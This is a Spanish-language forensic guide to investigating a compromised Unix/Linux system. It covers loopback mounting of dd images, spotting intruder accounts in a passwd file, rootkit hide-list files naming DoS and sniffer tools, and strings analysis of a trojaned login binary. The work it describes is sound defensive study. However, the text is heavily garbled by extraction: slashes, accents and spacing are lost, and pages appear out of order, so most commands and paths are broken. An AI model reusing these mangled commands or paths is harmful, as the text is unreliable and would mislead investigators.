Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 15: Análisis Forense de Sistemas GNU/Linux, Unix

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

